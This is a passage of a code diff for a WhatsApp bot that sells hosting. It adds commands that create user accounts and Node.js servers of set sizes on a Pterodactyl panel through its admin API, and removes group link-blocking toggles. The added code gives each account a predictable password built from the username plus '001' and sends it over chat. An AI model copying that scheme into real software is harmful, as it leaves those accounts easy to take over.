"ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +๐ƒ๐Ž๐๐„ ๐’๐ˆ๐‹๐€๐‡๐Š๐€๐ ๐‚๐„๐Š ๐ƒ๐€๐“๐€ ๐€๐Š๐”๐ ๐๐€๐๐„๐‹ ๐€๐๐ƒ๐€ ๐’๐”๐ƒ๐€๐‡ ๐“๐„๐‘๐Š๐ˆ๐‘๐ˆ๐Œ ๐Š๐„ ๐๐Ž๐Œ๐Ž๐‘ ๐“๐„๐‘๐’๐„๐๐”๐“ โ˜‘๏ธ +ยฉ Cs DanzBotz Official +`) + +} + +break +case "2gb": { +if (!isPrem) return replyprem(mess.premium) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "2GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "2048" +let cpu = "20" +let disk = "2050" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password +}) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + +} + +break +case "3gb": { +if (!isPrem) return replyprem(mess.premium) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "3GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "3072" +let cpu = "40" +let disk = "3073" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password +}) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + +NOTE : +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* + +TYPE: user + +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + +} +break +case "4gb": { + if (!isPrem) return replyprem(mess.premium) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "4GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "4048" +let cpu = "50" +let disk = "4040" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password +}) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + +} + +break +case "unli": { + if (!isPrem) return replyprem(mess.premium) +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "Unlimited" +let egg = global.eggsnya +let loc = global.location3 +let memo = "0" +let cpu = "0" +let disk = "0" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password +}) +}) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} +}) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + +} + +break +case "5gb": { +if (!isPrem) return replyprem(mess.premium) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "5GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "5138" +let cpu = "70" +let disk = "5138" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "0011" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the youtube video link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkYoutubeVid) return replygcxeon('Already deactivated') -let off = ntilinkytvid.indexOf(from) -ntilinkytvid.splice(off, 1) -fs.writeFileSync('./database/antilinkytvideo.json', JSON.stringify(ntilinkytvid)) -replygcxeon('Success in turning off youtube video antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'antilinkyoutubech': case 'antilinkyoutubechannel': case 'antilinkytch': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkYoutubeChannel) return replygcxeon('Already activated') -ntilinkytch.push(from) -fs.writeFileSync('./database/antilinkytchannel.json', JSON.stringify(ntilinkytch)) -replygcxeon('Success in turning on youtube channel antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the youtube channel link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkYoutubeChannel) return replygcxeon('Already deactivated') -let off = ntilinkytch.indexOf(from) -fs.writeFileSync('./database/antilinkytchannel.json', JSON.stringify(ntilinkytch)) -ntilinkytch.splice(off, 1) -replygcxeon('Success in turning off youtube channel antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'antilinkinstagram': case 'antilinkig': case 'antilinkinsta': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkInstagram) return replygcxeon('Already activated') -ntilinkig.push(from) -fs.writeFileSync('./database/antilinkinstagram.json', JSON.stringify(ntilinkig)) -replygcxeon('Success in turning on instagram antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the instagram link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkInstagram) return replygcxeon('Already deactivated') -let off = ntilinkig.indexOf(from) -ntilinkig.splice(off, 1) -fs.writeFileSync('./database/antilinkinstagram.json', JSON.stringify(ntilinkig)) -replygcxeon('Success in turning off instagram antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'antilinkfacebook': case 'antilinkfb': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkFacebook) return replygcxeon('Already activated') -ntilinkfb.push(from) -fs.writeFileSync('./database/antilinkfacebook.json', JSON.stringify(ntilinkfb)) -replygcxeon('Success in turning on facebook antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the facebook link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkFacebook) return replygcxeon('Already deactivated') -let off = ntilinkfb.indexOf(from) -ntilinkfb.splice(off, 1) -fs.writeFileSync('./database/antilinkfacebook.json', JSON.stringify(ntilinkfb)) -replygcxeon('Success in turning off facebook antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'antilinktelegram': case 'antilinktg': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkTelegram) return replygcxeon('Already activated') -ntilinktg.push(from) -fs.writeFileSync('./database/antilinktelegram.json', JSON.stringify(ntilinktg)) -replygcxeon('Success in turning on telegram antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the telegram link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkTelegram) return replygcxeon('Already deactivated') -let off = ntilinktg.indexOf(from) -ntilinktg.splice(off, 1) -fs.writeFileSync('./database/antilinktelegram.json', JSON.stringify(ntilinktg)) -replygcxeon('Success in turning off telegram antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'antilinktiktok': case 'antilinktt': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkTiktok) return replygcxeon('Already activated') -ntilinktt.push(from) -fs.writeFileSync('./database/antilinktiktok.json', JSON.stringify(ntilinktt)) -replygcxeon('Success in turning on tiktok antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +let res = await f3.json() +if (res.errors) return m.reply(JSON.stringify(res.errors[0], null, 2)) +let server = res.attributes +let p = await m.reply(` +*SUCCESSFULLY ADD USER + SERVER* +TYPE: user +ID: ${user.id} +NAME: ${user.first_name} ${user.last_name} +MEMORY: ${server.limits.memory === 0 ? 'Unlimited' : server.limits.memory} MB +DISK: ${server.limits.disk === 0 ? 'Unlimited' : server.limits.disk} MB +CPU: ${server.limits.cpu}% + +`) + +} + +break +case "6gb": { +if (!isPrem) return replyprem(mess.premium) + +let t = text.split(','); +if (t.length < 2) return m.reply(`*Format salah!* +Penggunaan: +${prefix + command} user,nomer`) +let username = t[0]; +let u = m.quoted ? m.quoted.sender : t[1] ? t[1].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : m.mentionedJid[0]; +let name = username + "6GB" +let egg = global.eggsnya +let loc = global.location3 +let memo = "6100" +let cpu = "100" +let disk = "6100" +let email = username + "1398@gmail.com" +akunlo = "https://telegra.ph/file/49ea31e74d496b1363d69.jpg" +if (!u) return +let d = (await XeonBotInc.onWhatsApp(u.split`@`[0]))[0] || {} +let password = username + "001" +let f = await fetch(domain + "/api/application/users", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +}, +"body": JSON.stringify({ +"email": email, +"username": username, +"first_name": username, +"last_name": username, +"language": "en", +"password": password }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the tiktok link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkTiktok) return replygcxeon('Already deactivated') -let off = ntilinktt.indexOf(from) -ntilinktt.splice(off, 1) -fs.writeFileSync('./database/antilinktiktok.json', JSON.stringify(ntilinktt)) -replygcxeon('Success in turning off tiktok antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'antilinktwt': case 'antilinktwitter': case 'antilinktwit': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkTwitter) return replygcxeon('Already activated') -ntilinktwt.push(from) -fs.writeFileSync('./database/antilinktwitter.json', JSON.stringify(ntilinktwt)) -replygcxeon('Success in turning on twitter antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send the twitter link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkTwitter) return replygcxeon('Already deactivated') -let off = ntilinktwt.indexOf(from) -ntilinktwt.splice(off, 1) -fs.writeFileSync('./database/antilinktwitter.json', JSON.stringify(ntilinktwt)) -replygcxeon('Success in turning off twitter antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break - case 'antilinkall': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (AntiLinkTwitter) return replygcxeon('Already activated') -ntilinkall.push(from) -fs.writeFileSync('./database/antilinkall.json', JSON.stringify(ntilinkall)) -replygcxeon('Success in turning on all antilink in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +let data = await f.json(); +if (data.errors) return m.reply(JSON.stringify(data.errors[0], null, 2)); +let user = data.attributes +let f2 = await fetch(domain + "/api/application/nests/5/eggs/" + egg, { +"method": "GET", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey +} }) -XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nIf you're not an admin, don't send any link in this group or u will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) -} else if (args[0] === "off") { -if (!AntiLinkAll) return replygcxeon('Already deactivated') -let off = ntilinkall.indexOf(from) -ntilinkall.splice(off, 1) -fs.writeFileSync('./database/antilinkall.json', JSON.stringify(ntilinkall)) -replygcxeon('Success in turning off all antilink in this group') -} else { - await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) - } - } - break -case 'antitoxic': case 'antibadword': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (args[0] === "on") { -if (antiToxic) return replygcxeon('Already activated') -nttoxic.push(from) -fs.writeFileSync('./database/antitoxic.json', JSON.stringify(nttoxic)) -replygcxeon('Success in turning on antitoxic in this group') -var groupe = await XeonBotInc.groupMetadata(from) -var members = groupe['participants'] -var mems = [] -members.map(async adm => { -mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +m.reply(`SUCCES CREATE USER ID: ${user.id}`) +ctf = `Hai @${u.split`@`[0]} + +โŽ™โ”€โžค *๐Ÿ‘คUSERNAME* : ${user.username} +โŽ™โ”€โžค *๐Ÿ”PASSWORD* : ${password} +โŽ™โ”€โžค *๐ŸŒLOGIN* : ${domain} + + +NOTE: +OWNER HANYA MENGIRIM 1X DATA +AKUN ANDA MOHON DI SIMPAN BAIK BAIK +KALAU DATA AKUN ANDA HILANG OWNER +TIDAK DAPAT MENGIRIM AKUN ANDA LAGI +===================================== +` +XeonBotInc.sendMessage(u,{image: {url: akunlo}, caption: ctf }, { quoted: XeonBotInc.chat }) +let data2 = await f2.json(); +let startup_cmd = data2.attributes.startup + +let f3 = await fetch(domain + "/api/application/servers", { +"method": "POST", +"headers": { +"Accept": "application/json", +"Content-Type": "application/json", +"Authorization": "Bearer " + apikey, +}, +"body": JSON.stringify({ +"name": name, +"description": " ", +"user": user.id, +"egg": parseInt(egg), +"docker_image": "ghcr.io/parkervcp/yolks:nodejs_18", +"startup": startup_cmd, +"environment": { +"INST": "npm", +"USER_UPLOAD": "0", +"AUTO_UPDATE": "0", +"CMD_RUN": "npm start" +}, +"limits": { +"memory": memo, +"swap": 0, +"disk": disk, +"io": 500, +"cpu": cpu +}, +"feature_limits": { +"databases": 5, +"backups": 5, +"allocations": 1 +}, +deploy: { +locations: [parseInt(loc)], +dedicated_ip: false, +port_range: [], +}, +}) +}) 